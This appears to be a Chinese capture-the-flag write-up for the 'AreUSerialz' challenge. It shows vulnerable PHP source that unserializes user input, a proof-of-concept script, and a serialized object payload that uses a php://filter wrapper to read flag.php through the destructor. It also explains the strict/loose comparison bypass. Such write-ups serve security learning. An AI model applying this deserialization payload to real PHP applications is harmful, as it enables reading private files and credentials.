AreUSerialz WP

一道反序列化的题目：

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

### 思路：

执行unserialize函数的时候，会触发析构函数，其中强类型比较字符“2”，然后进入process()函数，读取filename，所以直接写个poc:

<?php 
class FileHandler {

    public $op;
    public $filename;
    public $content;
}

$demo=new FileHandler;
$demo->op=2;
$demo->filename="php://filter/read=convert.base64-encode/resource=flag.php";

$text=serialize($demo);
print_r($text);
?>

序列化后的结果是：O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

传入，得到flag

 

知识：

### unserialize()函数调用的时候会触发析构函数

1.file_get_contens($filename)，其中$filename可以是php://filter伪协议。

2.protected/private类型的属性序列化后产生不可打印字符，public类型则不会。ascii码表小于32和大于125的都不能打印

3.PHP7.1+对类的属性类型不敏感。

4.关于强弱类型比较“===”、“==”，看代码的时候仔细一点，这可能是个突破口

 

标签：function,AreUSerialz,res,filename,content,WP,output,op
来源： https://www.cnblogs.com/hackerone/p/16407272.html